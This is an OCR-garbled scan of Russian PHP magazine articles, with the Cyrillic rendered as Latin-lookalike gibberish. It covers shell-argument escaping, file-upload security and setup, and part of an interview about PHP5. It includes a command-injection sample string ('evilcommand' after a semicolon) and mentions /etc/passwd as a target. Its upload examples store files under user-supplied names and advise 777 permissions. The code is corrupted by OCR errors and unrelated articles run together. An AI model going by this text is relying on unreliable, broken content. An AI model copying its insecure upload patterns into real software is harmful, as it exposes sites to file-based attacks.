TO MBI MCKJIIOYMM DPHUCK TOTO, YTO apryMEHT, IlepelaBacMblii B
CHUCTEMHYI0 KOMaHAy, OyZeT NpPOMHTEPHPETHPOBAH TOJBKO Kak
apryMeHT, ¥ HUKaK UHHaye, KakoBbl Obl HM ObUIM JaHHBIE,
MIPEIOCTABIICHHBIE MTOJIB30BATENIEM.

®yHk1uA escapeshellcmd () Noxoxka Ha CBOK KOJUJIETY C TEM
UCKJIIOYEHHEM, YTO MpHU "3auucTKe" OyAyT N1€3aKTHBHPOBAHBI CUMBOJIEI,
uMeroliee crenuduyeckoe 3HaUCHHE ISl ONEPAlMOHHOW cHucTeMbl. B
oTmuue OT escapeshellarg () dta (yHKOusS HEe OyaeT Kak-TO
oco0eHHO 00pabaThiBaTh CTPOKH ¢ mpoOenamu. Hampumep, ecnu Mbl
npuMeHuM escapeshellcmd () AJs TaKOW CTPOKHU:

‘sstring = "'hello, world!';evilcommand"

TO OHA CTAHET TaKOH:

‘\'hello, world\'\;evilcommand

OTO MOXET MpPHUBECTH K HEXKEIATEJIbHOMY pe3yJbTaTy, €CIH
CTpoka OyJeT HCIONb30BaHa B KayecTBe apryMeHTa K CHUCTEMHOU
KOMaH/Ie, MOCKOJIBbKY HHTEPIIPEeTaTop OyJeT BOCIPHUHUMATD HAIly CTPOKY
Kak JgBa aprymenra, \'hello u world\'\;evilcommand,
COOTBETCTBEHHO. Hrak, eciu JlaHHBIE, MIPEIOCTaBIICHHBIE
MoJIb30BaTeNIeM, OYyAyT UCIONB30BAThCS B KAuecTBE YaCTH CIIHCKa
apryMeHToB, To pyHkuus escapeshellarg () mpeanoYTUTEILHEE.

3awuma upload-ghaurnos

Jo [maHHOTO MOMEHTa § TOBOPHJI TOJBKO O TOM, Kak
3JIOYMBINIJICHHUKHA MOI'YT KOMIIPOMETHPOBATH CHUCTCMHLIC BBI3OBLHI B
PHP-ckpuntax. OpHako B HameM MpuMepe ecTh emé omHa
IMOTCHIHAJIbHAaA Ablpa B 6630HaCHOCTI/I, M 0 HEH TaK)Ke CTOUT YIOOMSAHYTD.
BepHémMcss k HamemMy KOAY M H3YyYUMM BHUMATENbHO 3TU CTPOKH
Jluctunra 2.
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<?php

Stmp name = $ FILES['file']['tmp name'];

Scmp name = dirname($ FILES['file']['tmp name'])
"/{$_FILES['file']['name']}.zip";

Sfilename = basename (Scmp name) ;
if (file exists(Stmp name)) {
>

Jlucmune 2

Wrak, mOTEeHIMANbHO ONACHBIA KOJ HAXOAWTCSI B CaMOW
MOCIIEAHEH CTpOKE NPUBEACHHOTO OTpe3ka. B Hell MBI mpoBepsieM,
cymectByeT Jim upload-gaitn (KOTOpBI XpaHWTCS MOJ BPEMEHHBIM
UMeHeM, Stmp name). OnacHOCTh 371eCh UCXOAUT He oT camoro PHP, a
OT BO3MOKHOCTH TOTO, 4TO (paill mojJ MMEHEM $tmp name BOBCE HE
ObUT 3arpyXeH TOJb30BaTeNieM, a Kak-TMOO yKa3blBaeT Ha (aii,
KOTOPBIH  3JIOYMBIIUICHHHK  XO4YeT  3alojy4yuTh, HY  CKaXeM,
/etc/passwd. UYroObl wu30ekaTh MOAOOHBIX curyanmii, PHP
npenjaraeT  (QyHKITUIO is uploaded file(). Pabora »sroii
GyHkiuMu noxoxa Ha aedcreue QyHkumu file exists () 3a TeM
JUINb ~ WCKJIIOYEHWEM, 4YTO B  JIaHHOM  ClIy4ae  IpPOBOJIUTCS
JIOTIOJTHUTENbHASL TPOBEPKa TOTO, OBLI JIM JaHHBIN (aill AeliCTBUTEIBHO
3arpy»eH ¢ KITIMCHTCKOW MaIlIuHEI.

[Tockonbky B OONBLUIMHCTBE CIy4aeB BaM HYXKHO KyaAa-Tu0Oo
nepeMectuTh  upload-daitn, TO B  JOmoONHEHHWE K (QYHKIUH
is uploaded file () B PHP €CTh hyHKIHIS
move uploaded file (). Paboraer oHa Tak e, Kak U rename() NpH
nepeMenieHnd (aiioB, 3a TEM JHIIb HCKIOYCHHWEM, YTO B JaHHOM
Cllydae Iepei HCHOIHEHHEM HPOBOJIUTCS JOIOJHUTENbHAs IPOBEpKa
TOTO, YTO TepeMemaeMblii (paiim JeWCTBUTENBHO OBUT 3arpyXeH C
KIMEHTCKOW MammuHbl. CuHTakcuc QyHKIMM move uploaded file
() Takos:

‘move_uploaded_file($filename, Sdestination) ;

IIpu BBI30BE 3Ta QyHKIM TepemectuT upload-daiin $filename
B $destination W BO3BpaTHT 3HadeHHE THUNa Boolean, KOTOpoe
npouHdopmupyer 00 yCHENIHOM WM HEYCHEIIHOM 3aBEpLICHUHU
OTIepaLHH.

Cratbs B34Ta ¢ caiirta: http://detail.phpclub.net
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Upload cpaurnos, u ece ¢ amum cesizaHHoOe

Ymo maxoe Upload files, wunu nouemy mne pabomaem ABTOp:

" on

copy ("c:\images\sample.jpg", "c:\uploads\ sample.jpg ")
Anexkcanap BoiiiexoBckuit

Kpamkuu akcypc e upload

Jaxe ecnu y Bac B pacHOpsDKEHUM BCEro OJUH KOMIIBIOTEpP, Ha
KOTOPOM COBMEIIIEH U CepBep M pabdodas CTaHIMs, HE CTOMT 3a0bIBaTh O
tom, uro PHP ucnons3yer Texnomoruto kimueHt/cepep. Daiin, KOTOpBId
MBI XOTHM 3arpy3UTh, KaKk MPaBUJIO0, HAXOJUTCS HA MaIllMHE KIHEHTa, T.€.
I10JIb30BaTENS, OOBIKHOBEHHOTO ~ IIOCETHUTENsl  caifra. Mecro
Ha3zHayeHus — cepBep. s Toro, 4roObl COBEPIIMTE MpOoLEcC Hepenadn
(hatina, Ham IoHAAOOUTCA ciemyromias Gopma:

<form enctype="multipart/form-data" action="/upload.php" method="post">
<input type="hidden" name="MAX FILE SIZE" value="30000">

Send this file: <input name="userfile" type="file">

<input type="submit" value="Send File">

</form>

ITpu sToMm B mone action gomkeH ObiTh yYkazaH URL Bamero php-
CKpHIITa, KOTOPBIA B JaibHEWIIeM OyZeT 3aHUMAaThCsi 00pabOTKON
3arpykaembix (QaiinoB. CkpeiToe mone MAX FILE SIZE J0JKHO
MPEIIIeCTBOBATh IMOJI0 BhIOOpa (aiiyla M CcomepkaTh MaKCUMAaJbHO
JOMTyCTUMBIA pa3Mep ¢aitna B Oaiitax. Ero HazHaueHme — mpoBepka
pasMmepa ¢aiina eme A0 MOMEHTa OTIpPaBKU ¢aina Ha cepBep. ITO
JIOJDKHO W30aBHTH TIONH30BATENS OT JUINTENBHONH WM Oe3pe3ylbTaTHON
3arpy3ku (aina Ha cepBep W 00pa3oBaHHS JIMIIHETO Tpaduka, HO HE
CTOUT 0c000 ToNaraTthCs Ha ATO OTpPaHWYEHHE, TaK KaK €ro JIeTKO
o0oiTH.

Yro mpoucxoauT, KOrda Iojib30BaTenb BbOpan (aiin Ha cBoeM
Ioucke, U Haxkan Ha kHomky "Send file"? Bpaysep orceutaer daitn Ha
cepBep, rae php-HHTepHpeTaTop MOMENIaeT €ro B CBOIO BPEMEHHYIO
JUPEKTOPHIO, MPHUCBAUBAsi €My CIy4aliHOE UMsl, U BBINOJHSET CKPHIIT,
YKa3aHHBIN B MOJIe action.

Kak momken BeimisaeTsh upload.php?

<?php

Suploaddir = '/var/www/uploads/"';

if (move uploaded file($ FILES['userfile']['tmp name'], Suploaddir
$_FILES['userfile']['name'])) {
print "File is valid, and was successfully uploaded.";

} else {

print "There some errors!";

}

?>

IIpy HanmucaHMM CKpHUNTa BO3HUKAET €CTECTBEHHBIM BOIPOC: Kak
NOJIy4YUTh WHQOPMAIMIO O 3arpy’keHHOM (aiine u nocTyyaTbes [0
camoro Qaiina. Ecau Bel mcnonssyere PHP Bepcum 4.1.0 u crapiue,
JTyyle Bcero OyzeT o0paTtuThes K ri1odanbHOMy MaccuBy 5 FILES.
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Jlst kaxoro 3arpyKeHHOTO ¢aiiia OH COMEPIKUT XEII-MaCCHB CO
CIIEYFOIINMU JTaHHBIMH:

. $ FILES['userfile']['name'] — OpHUIMHAIBHOE UM
(hatina, Takoe, KaKMM €T0 BHJISI MTOJIb30BaTEIb, BEIOUpast (aiin;

. $ FILES['userfile']['type'] — mime/type odaiina,
npuMepy, MOKeT ObITh image/gif; 3To mosie moJIe3HO COXPaHUTh, €CITU
BBl XOTUTE MPEIOCTABIIATh UHTEP(ENC A CKAaUMBaHHA 3arpy >KEHHBIX
¢aiinos;

. $ FILES['userfile']['size'] — pa3smep
3arpy»XeHHOro (aiiia;

. $ FILES['userfile']['tmp name'] — NONHBIH IyTh K
BpeMeHHOMY (Qaiily Ha JHCKe;

. $ FILES['userfile']['error'] — HauuHas c Bepcuu
4.2.0, conmepXuT KOA OIMOKH, KOTOpHI paBeH (, ecnm omeparus
MIpOILJIa YCIIEIIHO.

Hms PHP Bepcum Hmxe 4.1.0 (PexomeHnyercss HEMeIEHHO
oOHOBUTH http://www.php.net/downloads.php) 3ToT MaccuB Ha3biBaeTcs
$HTTP_POST_FILES. He crout 3a0wiBaTh, YTO, B OTIUYUE OT
$ FILES, OTOT MacCUB He SBISETCS CyNeprioOalbHbBIM, H IIpH
oOpaiieHu K HeMy, K TpuMepy, U3 (QYHKIHUUA, HEOOXOIUMO SBHO
yKaselBaTh global SHTTP POST FILES;

Ecnu B HacTpolikax Bauiero cepsepa register globals=on,
oyayT CO3/aHbl JIOTIOJIHUTENbHBIE [IEPEMEHHBIE BUA
Suserfile name, Suserfile type, Suserfile size..
VYuuteiBas, uto, HaunHas ¢ Bepcuu 4.2.0, B HACTPOUKaX MO YMOTYAHUIO
register globals=off, HCIOIL30BaHUE JTHX IIEPEMEHHBIX HE
PEKOMEHIIOBAaHO, MJaXK€ €CIIM OHW ompeneneHsl. Jlydmuid crmoco6
nmonydeHus: MHQopMaIMu o 3arpykaembix (aiiax — HCHONb30BaTh
MaccuB S FILES.

s  pabotbl ¢ 3arpyXeHHbIMH  (haiiiamMu  JIydille  BCEro
UCIIONB30BaTh  BCTpoeHHble (QyHkiuun is uploaded file wm
move uploaded file, KOTOpble€ NPOBEPSIOT, OBLI JIM 3arpyxeH
(aiin, ¥ MOMENIAaloT ero B yKAa3aHHYI MAalKy COOTBETCTBEHHO. boiee
JeTajbHyl0 HMH(QOpPMAalMI0 Bbl MOXKET€ HaWTH Ha  CTPaHHUIAX
pykxoBoacTtBa. He crout m3o0perarh Bemocumen u paboTatb caMoMy ¢
BpeMEHHBIMH (paiiiaMu, KOMUPOBATh UX, YAAISATh. JTO YK€ CIEJIaHO J0
BaC U I Bac.

Hacmpolika cepsepa

A e6ce coenan npaguivbHO, HO Yy MEHA UMO-MO He pabomaem.
Mooicem, y mensa HenpasuibHo CKOHQuUeypuposan cepgep?

n

Ecim  Bel  "Bce chemanu  HOpaBWIBHO'!, HO Ball  KOA
HepaboTocnocoOeH winM  padoTaeT  HENpaBWIbHO, HE  CICLIMTE
oT4yauBaThca. Bo3MokHO, mMpobiemMa He B BalllUX pyKaX, a B HEBEPHBIX
HacTpolKax cepBepa.
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Bot crmcok AUPEKTHUB, KOTOPBIC MMCIOT OTHOIICHUA K 3arpys3ke
(hatinmos:

B daitire php . ini:

- Ecnu BBI XOTHTE Y3HATB, TJ€ pacroiiokeH Bal php.ini, BEIOJHUTE

‘<?php phpinfo(); 2>

. file uploads — BO3MOXHOCTb 3aIPETUTh HIIM DPa3PELIUThH
3arpy3Ky ¢ainos B rienom. [1o ymomganuto On.

. upload max filesize — MakcuMaibHbIl pasmep (aiina,
KOTOPBIA MOXeT OBbITh 3arpyxeH. Eciin Bam HeoOXxoanMo paboTaTh C
OonpImUMU (aitmamMu, H3MEHUTE ATy HacTpoiKy. [lo ymoadanuro 2M.
He 3a0ynpTe n3mMeHnTh post max_size.

+ post max size — obuee OrpaHHMYeHHE CBEPXY Ha pasmep
naHHbelx, nepeaaBaeMblx B POST 3ampoce. Ecnu Bam HeoOxoanmo
pabortath ¢ OonplinMmu (aiiiaMu WK TepenaBaTh HECKOIBKO (aiioB
OJTHOBPEMEHHO, U3MEHUTE 3Ty HACTPOWKY. 3HAUEHHE 10 YMOJYaHUIO
8M.

. upload tmp dir — BpeMeHHas JUPEKTOpHsS Ha CepBEpE, B
KOTOpYyI0 OyIyT MOMeNaThCs Bce 3arpyskaemble Qaiinbl. [IpoBepsTe,
Kakhe Ha Hee BBICTaBJIEHBI NpaBa (ecid Ha JaHHOM JTalle y Bac
BO3HUKJIM CJIOKHOCTH, CMOTPUTE TMOSCHEHUS B KOHIE cTaThu). Takas
TUPEKTOPHS JAO0JKHA CYIIECTBOBATh M Y MOJIB30BATEINS, O] KOTOPHIM
BEITIONTHsIETCST Apache, Takke MOMMKHBI OBITH NpaBa Ha 3aMHCh B OTY
mupektopro. Ecnmu BBl paboTaere ¢ BKIIIOYEHHBIM OTpaHHYEHHEM
open_basedir, TO BpeMEHHBI KaTaJloOT JOJHKEH HAaXOAWTHCS BHYTPH.
Bam He Hy»)HO 3a00THTBCSI O €€ YUCTKE WM 00 YHUKaIhbHOCTH WMEH,
PHP pemaet a3ty nmpoGiieMy 3a Bac.

B ¢aiine httpd. cont:

« Tlpexne Bcero, yoenurech, 4YTO BbI HCIIOJIb3yeTe BeO-cepBep Apache
1.3 (mocnmemHsst Bepcwsi HA MOMEHT HamucaHus cratbu — 1.3.27).
Ecim Bel ucnonws3dyere Apache 2.0, Bam creayeT mNpOYUTATh
CIIEAYIOIINI OTPBIBOK M3 AoKyMeHTauuu: Do not use Apache 2.0 and
PHP in a production environment neither on Unix nor on Windows.

«  Ecau Bbl nonyunnu cooduienue "POST Method Not Allowed", ato
O3HayaeT, YTO HAJO0 HCKAaThb 4YTO-TO IIOXOXKEEe Ha CIEAYIOLHe
JUPEKTUBEI, ¥ UCIIOIB30BATh KIFOUYEBOE CIOBO Allow:

<Limit POST >
Order allow,deny
Allow from all
</Limit>

« IIpoGnemsl ¢ 3arpy3koii OuHapHBIX (PaliioB — KIacCHUECKUH BOIIPOC
"mouemy ObtoTcsi aiiiel mpu upload". Bor cmoco6 pemienus,
npemnoxkeHapld  Jlumo#t  bopommabiM  (http:/php.spb.ru): B
JUPEKTOPHUH, Tle JIEKHUT CKpunr, nenaeMm ¢aitn .htaccess, B
KoTtopoM mumieM: CharsetDisable On.
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B ¢aitn httpd. conf momucaTs CTPOKH:

<Location />
CharsetRecodeMultipartForms Off
</Location>

Hebonpme mosicHEHHS K OSTOMY pELENTy: BBIIIEONHCaHHAS
mpobiema, Koria 3arpy’keHHbIe Ha  CepBep apXuBBl  HE
PacIaKkoBBIBAIOTCSA M KAPTUHKH HE OTOOPa)KaIOTCs, MOXKET BO3HUKATh
W3-3a TOTO, 4TO UCIOINB3yeTcs BeO-cepBep Russian Apache.

HupektuBa CharsetDisable oTkmodaeT MOAyildb charset-
processing module, T.e. HUKAKOW MEPEKOJUPOBKHU IIPU CKAYNBAHUU
(aiinoB, HaxoAAINXCS B JaHHOH MAaIlke, MPOUCXOIUTH He OyJeT.

HupektuBa CharsetRecodeMultipartForms BBIKIIOYAET
MEePEKOANPOBKY NaHHBIX, Mepeaanasix MeromgoM POST ¢ 3aromoBkom
Content-Type: multipart/form-data. T.e. JIBOWYHEIE
JaHHbIe, TepelaHHble C TaKOi HAcCTPOWKOH, OyIyT OCTaBIEeHBI B
NEepBOHAYATILHOM BHJIE, a BCE OCTaJIbHOE HAIOJNHEHWE caiita Oyzaer
IIEPEKOANPOBAHO COTJIACHO TEKYILMM HAaCTpPOMKaM CepBepa.

Ho IIpru 3TOM MOTYT BO3HHUKHYTH OCJIOKHCHUA: 6y)15Te TOTOBBI K
TOMY, YTO B HECKOTOPBIX ClIy4dasX TEKCTOBBIE 4YaCTU 3allpOCOB BaM
OPpUACTCA NEPEKOIUPOBATE CAMOCTOATCIIBHO. BOT, YTO II0 3TOMY ITOBOAY
TOBOPUTCA B IOKYMCHTAIlUU:

Hcnonesyiite nupektuBy CharsetRecodeMultipartForms,
KoTopast mosBuiach B PL23, HO mpu 3TOM BaM Bce-paBHO NpUAETCA
NEePEeKOUPOBaTh BPYUYHYIO TEKCTOBBIE 4YacTH 3ampocoB. [l 3toro
MOXHO Hcmonb30Bath Russian Apache API, mocrymHoe B apyrux
monyisix uwiau Russian Apache Perl API, noctynnoe u3 mod_perl.

OnuH U3 TPUMEPOB OTPECICHUS KOAUPOBKH BBl MOXKETE HAWTH
TyT: http://tony2001.phpclub.net/detect charset/detect.phps

Camas cBexas gokymeHTtarnus mo Russian Apache maxoautcs Ha
ero opunmanpHOM caiite: http://apache.lexa.ru/ .

He 3a0biBaiiTe, yTO mMocjie 000N CMEHBl KOHQUIypaluH, BaMm
HEo0X0IMMO Nepe3alyCTHTh Balll BeO-cepBep.

LornonHumerbHbIe 803MOXHOCMU

A xouy coeramv 6om mMakyro WmyKy, HO Yy MeHS HUKAK He
NOAYYAEMCHL. .

3aepy3ka HeCKOrbKUX halsiioe 0OHO8PEMEHHO

Ha camom pmene B 3TOM HET HHMKAaKOW TPYAHOCTH. DTOTO MOXKHO
JOCTHYb, UCTONB3Ys, K TpuMepy, popmy u3 Jluctunra 1.
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<form action="file-upload.php" method="post" enctype="multipart/form-data">
Send these files:<br>
<input name="userfile[]" type="file"><br>
<input name="userfile[]" type="file"><br>
<input type="submit" value="Send files">
</form>
Jlucmune 1

N me 3alympTe yBenmuuTth post max size, ecnn
TpeanoaaraeTcss MHOTO (haiiios.

Aemomamud4yecKkas 3agpy3Ka ¢ghalsios Ha cepesep

He crout 3a0miBaTh, 4TO (haiiipl Ha JAKMCKE IIOJb30BATEIS -
KoHuAeHInanbHas nHdopMalus, K KoTopoil Hu JavaScript, HE yX TeM
o6omee PHP me mMeror HM Masneimiero otHommenus. Jlo Tex mop, Imoka
TI0JIB30BaTENb caM He BbIOpau (aiin npu nmomormm <input type="file"> au
0 Kako# paboTe ¢ HUM HE MOXET WATH U peun. U He 3abpIBaiiTe, 4TO Y
JTAHHOTO TIOJIS BBO/IA aTpHOyT value 3aIuieH oT 3amucH.

XpaHeHue ¢atnoes e base daHHbIXx MySQL

Ecnmu BbI coOpanuch XpaHHTh 3arpykaemble ¢aiinel B 0aze
JaHHBIX, BAM HEOOXOAMMO ITOMHHUTH CIIEIYIOIIHNE MOMEHTHI:

«  HeobOxomuMo ucnonbs3oBath 1oje tuna BLOB

- Ilepexm Tem, kak kiacTe B 0a3y, He 3a0BITh NMPUMEHHUTh K CTPOKE
mysql escape string

+ Ilpu ortobpaxenun (aitia HEOOXOAUMO YKa3bIBaTh 3ar0JIOBOK
content/type

IlomauTe, yTO CKpUMNT, OTOOpaxkaromwmii Bamm HTML, Hukak He
CBSI3aH CO CKPHUIITOM, KOTODPBIM OJKEH BBIBOAMTH H300paxkeHue. ITO
JOJKHBI OBITH JIBa Pa3JINYHBIX IPUIIOKCHHUS.

XpaHeHHEe KapTHHOK B 0a3e HE SBIAETCS XOPOIIMM CTHIIEM.
l'opazno ymoOHeit xpaHuTh B 6a3e TUIIb TyTH K (paiiiaM u300paxeHid.

[lony4yeHue ceolicme u3obpakeHus.

Ecnu nepen Bamu BO3HMKIIA 3a/1a4a MPOBEPUTH THIT MM Pa3sMephl
KapTHHKH Tepe]l 3arpy3koil (Qaiia Ha cepBep, — BaM moTpedyercs
¢byHkuusa getimagesize. B kadecTBe aprymMeHTa OHa MNPUHUMACT HMS
¢daiima Ha JgUCKE ¥ BO3BpallacT MAacCHB, TICPBBIC JBa DJIEMEHTA
KOTOPOTO — IUPHWHA W BBICOTA COOTBETCTBEHHO, TPETUH — THII
nu3o0paxkeHus. B ciydae HEBO3MOXHOCTH TMPOYMTATH M3 YKA3aHHOTO
(hatina koppekTHOE H300paKeHe, PYHKIIMS BO3BPAIACT JIOKb.
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3aepyska halrios, uMerwux pyccKosA3bI4HOEe Ha3gaHue

IMpu 3arpy3ke Ha cepBep QaiiyioB, HEOOXOAUMO TPOBEPSITH HX
OpUTHHAJbHBIE UMEHA HA MPEeIMET HAJINYHS "HECTaHJAPTHHIX" CHMBOJIOB
(x mpumepy pycckux OykB). B cimydae mMX mpHCyTCTBHA HEOOXOIMMO
mpousBecTu 3aMeHy. OpuruHanbHOoe HUMs (¢ailla MOXHO HaWTH B
nepeMeHHOM S FILES(['userfile']['name']. IIpo TO, Kak
MEPEKOJUPOBATh PYCCKOS3BIYHYIO CTPOKY B TPAHCIWT, MOKHO MO>KHO
HaWTH B apXHBaxX MPAKTHICCKHU JH000T0 hopyma, mocssmernoro PHP.

OmobpaxkeHusi cmamyca 3agpy3Ku usu progress bar

Heo0xoauMo yYuTHIBaTh, YTO A0 MOJHOM 3arpy3ku ¢aiina, PHP He
MOXET OIEpUPOBaTh HU pa3MepoM Qaiina, HU MPOICHTOM €ro 3arpy3KH.
Tonbko korma (aiinm yxe Haxomutcs Ha cepBepe PHP, To on momydaer
BO3MOYKHOCTh oOpamarbesi K mHpopMarmu. Ecim Bam Bce-Taku KpaiiHe
HEOOX0NMO pean30BaTh TAaKyl0 BO3MOXKHOCTB, BOCHOJB3yHTech Java-
aryIeToM.

Kpamkuu o4yepk o ripasax Ha ¢alrsibl

[Tpobnemsl ¢ mpaBamu Ha cepBepe (upload tmp_dir)

B *nix-mogoOHBIX OMNEpAIMOHHBIX CHUCTEMax KaXJO# Marke,
(aiiny, cchlike BBICTABJICHBI COOTBETCTBHE MpaBa goctyma. OHH MOTYT
BBITVSLAETH KaK I'WX-I'W-TI- MM JK€ KaK 4nucio 754.

HoctynmHOCTh (aiiia My Karajora 3aBUCSAT OT HAECHTH(HUKaTOpa
[I0JIb30BaTENIl M MIACHTU(HUKATOpa TIPYNNbl, B KOTOPYI OH BXOAMT.
PexxuM B 11esIoM ONMCBHIBAETCsl B TEPMUHAX TPEX IMOCIEOBATEIbHOCTEH,
10 TpU OYKBBI B KX IOM:

Brnampesen TI'pynna [Ipoune

(u) (9) (o)
rwx rwx rwx

3I[CCI) BJIAACIICL, YJICHBI T'PYHIIBI WU BCC€ MPOYUC IIOJIB30BATCIIN
o0NajaroT mpaBaMH YTeHHs (aiiia, 3amucy B HETO M €r0 BBIIOIHEHHS.
[IpaBa - nr00ast ocMbIcIIeHHass KOMOWHAIIHS CIEAYIOMINX OYKB:

r [IpaBO Ha uTeHMe. (4)
4 [lpaBo Ha 3ammMcb. (2)
X [IpaBO Ha BHIIOJIHEHME (IIOMCK B kaTajore) . (1)

s Ttoro, uroObl 3arpy3ka aiiioB Ha cepeep pabortana
KOPPEKTHO, HEOOXOIMMO PEan30BaTh OJIMH U3 JIBYX BAPHAHTOB

. YCTaHOBUTH BJIAJCNIbLIEM KaTajiora IOJb30BaTelsA, C YbHUMH
TIPUBEJICTUSAMU BBITIOJHSACTCS apache. DT0 MOXKHO y3HATh w3 (aiina
httpd.conf wim npocMoTpeB crimcok mporeccoB Ha cepsepe. [IpaBa Ha
Karajor T0JKHBI ObITh 700 (Twx------ ).

. He3aBucuMo OT TOro, KTO SBJSETCS BIAJCIBIIEM KaTaora,
YCTaHOBHTH MpaBa 777 (IWXIWXIwX).
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lMpumep peanusayuu 3aspy3Ku KapmuHOK Ha cepeep

<?

Smax image width 380;

Smax image height = 600;

$max:image:size = 04 * 1024;

$valid_types array ("gif","jpg", "png", "jpeg");

if (isset($ _FILES["userfile"])) {
if (is_uploaded file (S FILES['userfile']['tmp name'])) {
Sfilename = $ FILES['userfile']['tmp name'];
Sext = substr($_FILES['userfile']['name'],
1 + strrpos($ FILES['userfile']['name'], "."));
if (filesize($filename) > Smax image size) {
echo 'Error: File size > 64K.';
} elseif (!in array($Sext, $valid types)) {
echo 'Error: Invalid file type.';
} else {
Ssize = GetImageSize ($filename) ;
if (($size) && ($size[0] < Smax image width)
&& (Ssize[l] < Smax image height)) {

if (@move uploaded file(Sfilename, "/www/htdocs/upload/")) {
echo 'File successful uploaded.';
} else {

echo 'Error: moving fie failed.';
}
} else {
echo 'Error: invalid image properties.';
}
}
} else {
echo "Error: empty file.";
}
} else {
echo '
<form enctype="multipart/form-data" method="post">
<input type="hidden" name="MAX FILE SIZE" value="64000">
Send this file: <input name="userfile" type="file">
<input type="submit" value="Send File">
</form>"';

Jlucmune 2

Eme omun mnpumep peammzamuu, ¢ wucnoiabzoBanuem PEAR
(monmckazan kvn) mokaszan B Jluctuare 3. OpuruHadbHBIA TaAKET
HaXOAMTCSA 10 aapecy: http://pear.php.net/packages/HTTP_Upload
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Cratbsi B3siTa ¢ caiita: http://detail.phpclub.net
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Jlroou

VHmepebto co CmeprnuHazom Xbro3om o PHPS

PHP-Con  (hitp://'www.php-con.com)  nedasno  3anucanu TlepeBou:
unmepevio ¢ yyacmuuxkom PHPCon Cmepaunecom Xvio3om, Komopowii
BLIKPOUT HEMHO20 BPEMEHU MEHCOY CEOUMU BbICIYNICHUIMU NO THEMAM
"PHP u XML"("PHP & XML") u "7 enasuvix owubdbox ¢ PHP
npoepammuposanuu"("Top 7 Mistakes in PHP Programming"), umobul
pacckaszameb o0 npedcmosiuem peauze PHPS. bpaiian Puuapo (Bryan
Richard), oupexmop rougpepenyuu uz QuarterPower Media nposooun
UHMEPBLIO NOCPEOCMBOM INEKMPOHHOU HOUMbL.

Koncrantun Jlykam

Bpaiian Puuapn (BP): [loxxanylicta, npeacraBbTech U oBeaaiite
JO/15IM, TIOYEMY UMEHHO C BaMH MbI ToBopuM o PHP.

Crepannr Xs1o3 (CX): Ilpuser, s Crepnunr. 5 aBTOp KHHUTH
"Kuura penentoB s PHP-mporpammucta"("PHP  Developer's
Cookbook"), s nporpammupyro vHa PHP, naunnas ¢ 3 Bepcun, a ¢ mepBbix
Oera-Bepcuii PHP4 spnsroce emé u paspaborunkom PHP. Ber Taxke
MOXKET€ 3HaTh MEHS KaK OJHOTO M3 aBTOPOB TaKWX PACIIMPEHHH Kak,
URL, XSLT, Bzip2, Zip, Sockets, Cyrus, SWF, ADT, Mono u dio.

BP: Henasno ma NYPHP BBl mpoBenu mnpe3eHTanui0 HOBHHOK
PHPS. Ota Bepcuss PHP nelicTBUTENBHO TO, Y€EM MOXHO BOCXHILIATHCA?
Hackonpko BeTUKH U3MeHEHUs?

CX: Hy, 9T0 Ha caMOM JieJie 3aBUCUT OT KOHKPETHOTO YEJIOBEKA.
Hanpumep, s, HECMOTpsT HA TO, YTO MporpaMmupoBan u Ha C++, u Ha
Java, — m106710 MCTIONB30BaTh MPOLEAYPHL. Y MEHS TaKOe YyBCTBO, YTO
Bc€ OOII cocTOUT M3 MPEBpAICHHS yKe UMEIOINXCS 3a1a4 B HOBBIE. 1
YK€ TOJILKO TMOTOM JEI0 JOXOAUT a0 WX pernenus. Koneuno, Takoi
MOJX0J] MHOTO€ YIPOIINAeT, HO OH YKacHO He3((EeKTHBEH It
pa3paboTku HeOOJBIIOT0 HAOOpa B3aUMOCBS3aHHBIX MPOTPaMM, 4YTO,
COOCTBEHHO, U SBISIETCS CYThIO MPOrPAMMHBIX pa3padoTok Juis Web.

51 BOBce HE MBITAlOCh 3TUM CKaszaTh, YTO MHE He HpaBuTca PHPS.
Ilo OGompmett wactu PHPS5S mpocro 3ameuarenbHBIN, OCOOEHHO, YTO
KacaeTcss WUCKIIOYeHHH (exceptions). be3ycnmoBHO, MHOXXECTBO HOBBIX
cBotictB Zend Engine 2 mator mHOro mpeumyuiects. Ho Gospmas yacts
MOero Koja — mpouenypsas, a Zend Engine 2 B ocHOBHOM mojBepres
m3meHneHusM B oomactu OOIL.

Ho ato xacaercs mens.

A eciii  Bbl TPOrPAaMMUCT, pa3padaThIBAIONUN  OOBEKTHO-
OpPUEHTUPOBAHHbIE peunieHus, To Bbixoa PHPS — 310 peiictBuTensHO
moBos st pagoctd. Y PHP4 nHa camom nene He ObUIO OOBEKTHOMH
Mojean. OObEeKThl ObUIH JIMIIL 0Aa30BBIMU TUIIAMH, BHYTPH COCTOSIIIMMU
"3 ABYX TaOIUI] UMEH: TaOMUIEI (PYHKIMI ¥ TaOJIHITB TIEPEMEHHBIX. ITO
JIeasno O00BEKTHI HETpeICKa3yeMbIMH, HENIOHATHBIMA u
Hen(pGEeKTUBHBIMHA. A CaMbIM OTBPATHTEIBHBIM OBLIO TO, YTO T/ OBI BB
HE WCIIOJNIb30Balld OOBEKTHI, BBl JOJDKHBI OBUIM TiepedaBaTh WX IO
CCBIJIKE.
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[TocMoTpyM Ha CEAYIONUN KOI:

<?php

class Slowpoke {
var S$Sfeet;
var $arms;

}

Ss = new Slowpoke;
>

B PHP4 stoT kon npuBén Obl K MOSBICHHUIO BYX KOIMHUI 00BEKTa
enié Ha dSTamne ero co3fgaHus. UToObl MPaBHIBLHO CO31aTh OOBEKT, BEI
JIOJKHBI OBLUIM UCIIOJIB30BAaTh CUMBOJ '&':

Ss = &new Slowpoke;

To e caMoe OTHOCHUTCS UM K UCIIOJIb30BaHUIO 00BEKTA:

<?php

function add feet ($s) {
Ss->feet = 2;

}

Ss = &new Slowpoke;
var dump ($s->feet) ;
add feet ($s);

var dump ($Ss->feet) ;
2>

Ha camom nene 3mech Bl Obl He M3MEeHHIM 00BeKT Slowpoke,
KorJia mpucBauBanu 3HadeHue ' cBoiicTBy 'feet' B dynkiuu 'add feet'.
ITockonpky B PHP npu usMeHeHMM 3Hau€HHs IIEPEMEHHBIX JEHCTBUSA
OPOM3BOSTCS C UX KOMUSMH, TO BCET1a, KOTAa BBl HE TiepeaéTe 00beKT
MO CCBUIKE TMPH M3MEHEHHH OOBEKTa MJIM €r0 CBOWCTB, MPOUCXOAMUT €T
KOIMPOBAaHKE B HOBBIN OOBEKT.

B PHP5 00bexTHl M3HAYAIBLHO SBISIOTCS CCHUIKAMM, W 3TO BCE
ynpomaeTr. Bwmecro mepemaum camoro oOBekTa, BBl Iepemaére
